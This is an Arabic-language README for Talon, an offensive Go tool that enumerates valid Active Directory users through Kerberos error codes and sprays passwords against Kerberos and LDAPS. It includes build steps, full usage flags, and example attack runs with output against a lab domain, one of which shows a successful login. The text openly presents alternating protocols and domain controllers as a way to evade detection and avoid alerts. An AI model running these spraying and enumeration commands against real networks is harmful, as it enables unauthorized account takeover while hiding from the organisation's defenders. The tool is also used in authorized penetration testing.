
أداة تخمين كلمات المرور تستهدف خدمات Kerberos وLDAP داخل بيئة Windows Active Directory.
لعرض أحدث إصدار من Talon أو لتقديم مشكلة، يُرجى الرجوع إلى https://github.com/Tylous/Talon.
Talon هي أداة مصممة لتنفيذ هجمات تخمين كلمة المرور الآلية مع البقاء غير مكتشفة. يمكن لـ Talon تعداد قائمة من المستخدمين لتحديد المستخدمين الصالحين باستخدام Kerberos. يمكن لـ Talon أيضًا تنفيذ هجوم تخمين كلمة المرور ضد خدمات Kerberos و LDAPS (LDAP الآمن). يمكن لـ Talon استخدام وحدة تحكم مجال واحدة أو متعددة لتنفيذ هذه الهجمات، مع عشوائية كل محاولة بين وحدات تحكم المجال والخدمات (LDAP أو Kerberos).
يمكن العثور على مزيد من المعلومات حول التقنيات في المدونة التالية
قم بتنزيل الإصدار الخاص بنظام التشغيل الخاص بك من الإصدارات
تم تطوير Talon باستخدام Golang.
الخطوة الأولى كما هو الحال دائمًا هي استنساخ المستودع. قبل تجميع Talon، ستحتاج إلى تثبيت التبعيات. لتثبيتها، قم بتشغيل الأوامر التالية:
go get github.com/fatih/color
go get gopkg.in/jcmturner/gokrb5.v7/client
go get gopkg.in/jcmturner/gokrb5.v7/config
go get gopkg.in/jcmturner/gokrb5.v7/iana/etypeID
go get gopkg.in/ldap.v2
ثم قم ببنائه
go build Talon.go
$ ./Talon -h
Usage of ./Talon:
-A float
Authentication attempts per lockout period (default 3)
-D string
Fully qualified domain to use
-E Enumerates which users are valid
-H string
Domain controller to connect to
-Hostfile string
File containing the list of domain controllers to connect to
-K Test against Kerberos only
-L Test against LDAP only
-Lockout float
Account lockout period in minutes (default 60)
-O string
File to append the results to
-P string
Password to use
-Passfile string
File containing the list of passwords
-U string
Username to authenticate as
-Userfile string
File containing the list of usernames
-debug
Print debug statements
-sleep float
Time inbetween attempts (default 0.5)
يمكن تنفيذ وضع تعداد المستخدمين باستخدام العلم -E الذي سيرسل فقط طلب ما قبل المصادقة لـ Kerberos TGT إلى KDC الهدف، ومع ذلك، يتم إرسال هذا الطلب بنوع تشفير معروف بأنه سيئ أو غير مدعوم. يراجع Talon الرد من KDC لتحديد ما إذا كان يرد بـ KDC_ERR_ETYPE_NOSUPP، مما يشير إلى وجود مستخدم أو KDC_ERR_C_PRINCIPAL_UNKNOWN إذا لم يكن موجودًا. يمكن لـ Talon تنفيذ هذا النوع من التعداد ضد وحدات تحكم مجال متعددة في المؤسسة باستخدام الأمر -Hostfile لتحديد وحدات تحكم مجال متعددة، أو وحدة تحكم مجال واحدة باستخدام -H. لن يتسبب استخدام هذه التقنية في أي فشل في تسجيل الدخول، لذا لن يتم قفل أي من المستخدمين.
./Talon -D STARLABS.LOCAL -Hostfile DCs -Userfile Users -sleep 1 -E
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[-] 172.16.144.195 STARLABS.LOCAL\asmith: = User Does Not Exist
[+] 172.16.144.185 STARLABS.LOCAL\ballen: = User Exist
[-] 172.16.144.186 STARLABS.LOCAL\bjohnson: = User Does Not Exist
[-] 172.16.144.195 STARLABS.LOCAL\bwayne: = User Does Not Exist
[+] 172.16.144.195 STARLABS.LOCAL\csnow: = User Exist
[-] 172.16.144.186 STARLABS.LOCAL\jtodd: = User Does Not Exist
[+] 172.16.144.186 STARLABS.LOCAL\hwells: = User Exist
[-] 172.16.144.186 STARLABS.LOCAL\wwest: = User's Account Locked
يستخدم Talon Kerberos و LDAP، وكلاهما مدمج في Active Directory للمصادقة. يمكن لـ Talon تنفيذ تخمين كلمة المرور عن طريق التبديل بين الخدمتين، مما يسمح بتقسيم حركة مرور هجوم كلمة المرور عبر بروتوكولين. هذا يقسم عدد الأحداث المحتملة المنشأة، مما يقلل من فرصة إطلاق إنذار. يأخذ Talon هذه الخطوة إلى أبعد من ذلك، من خلال توزيع هجوم كلمة المرور ضد وحدات تحكم مجال متعددة في المؤسسة باستخدام -Hostfile، مع التبديل بين LDAP و Kerberos في كل مرة لإنشاء طبقة إضافية من الإبهام. يمكن توفير وحدة تحكم مجال واحدة باستخدام الأمر -H إذا لزم الأمر.
./Talon -D STARLABS.LOCAL -Hostfile DCs -Userfile ValidUsers -P "Not3vil" -sleep 1
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[-] 172.16.144.186 STARLABS.LOCAL\admin:Not3vil = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ballen:Not3vil = Failed
[-] 172.16.144.195 STARLABS.LOCAL\cramon:Not3vil = Failed
[+] 172.16.144.185 STARLABS.LOCAL\hwells:Not3vil = Success
[-] 172.16.144.195 STARLABS.LOCAL\ssmith:Not3vil = Failed
Talon مصمم ليكون متعدد الاستخدامات في أي موقف، ونتيجة لذلك، إذا كان Kerberos فقط متاحًا، يمكن ضبط Talon لمهاجمة Kerberos فقط باستخدام العلم -K أو LDAP فقط باستخدام العلم -L.
يمكن لـ Talon استخدام كل من Kerberos و LDAP لقراءة الردود أثناء تنفيذ هجوم تخمين كلمة المرور. يمكن لـ Talon اكتشاف عمليات قفل الحساب أثناء هجوم تخمين كلمة المرور النشط من خلال قراءة رمز الرد من كل محاولة كلمة مرور. يمكن أن يساعد ذلك في منع أي عمليات قفل حسابات غير مرغوب فيها عبر المؤسسة، مما يساعدك على البقاء غير مكتشفة. ما عليك سوى اتباع المطالبة للخروج أو متابعة الهجوم.
root@kali:~# ./Talon -Hostfile DCs -Userfile ValidUsers -D STARLABS.local -P "Password!" -sleep 2
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[-] 172.16.144.186 STARLABS.LOCAL\ballen:Password! = Failed
[-] 172.16.144.185 STARLABS.LOCAL\csnow:Password! = Failed
[-] 172.16.144.186 STARLABS.LOCAL\wwest:Password! = User's Account Locked
[*] Account lock out detected - Do you want to continue.[y/n]:
Talon مزود بقدرة على اكتشاف ما إذا كانت وحدات تحكم المجال المستهدفة نشطة أو أصبحت غير متاحة. يساعد ذلك في ضمان حصولك على نتائج دقيقة مع عدم إضاعة الوقت.
root@kali:~# ./Talon -H 172.14.15.1 -Userfile ValidUsers -D STARLABS.local -P "Frosty20" -sleep 2
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[Root cause: Networking_Error] Networking_Error: AS Exchange Error: failed sending AS_REQ to KDC: failed to communicate with KDC 172.14.15.1
[*] Do you want to continue.[y/n]:
لدى Talon القدرة على تنفيذ تخمين كلمة المرور ضد قائمة من كلمات المرور المحتملة في ملف باستخدام (-Passfile). نظرًا لأن هذا يمكن أن يكون خطيرًا جدًا، لدى Talon ضوابط للتوقف بعد عدد معين من المحاولات (-A) لفترة زمنية محددة (-Lockout). يرجى ملاحظة أنه من المهم معرفة سياسة كلمة المرور قبل استخدام هذه الخيارات، لأن وضع عدة محاولات كلمة مرور في قائمة انتظار يمكن أن يقفل الحسابات إذا لم تكن تعرف سياسة كلمة المرور.
./Talon -H 172.16.144.185 -Userfile users -Passfile Passwords -D STARLABS.local -Lockout 45 -A 2 -sleep 1.5
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[*] Warning: Selection option will spray multiple passwords and risk locking accounts. Do you want to continue? [y/n]: y
03-10-2022 15:58:21: Using password: Password123
[-] 172.16.144.185 STARLABS.LOCAL\admin:Password123 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ballen:Password123 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\cramon:Password123 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\hwells:Password123 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ssmith:Password123 = Failed
03-10-2022 15:58:26: Using password: Spring2022
[-] 172.16.144.185 STARLABS.LOCAL\admin:Spring2022 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ballen:Spring2022 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\cramon:Spring2022 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\hwells:Spring2022 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ssmith:Spring2022 = Failed
Hit timeout period - Sleeping for 45 minutes...
Will resume at 03-10-2022 16:43:35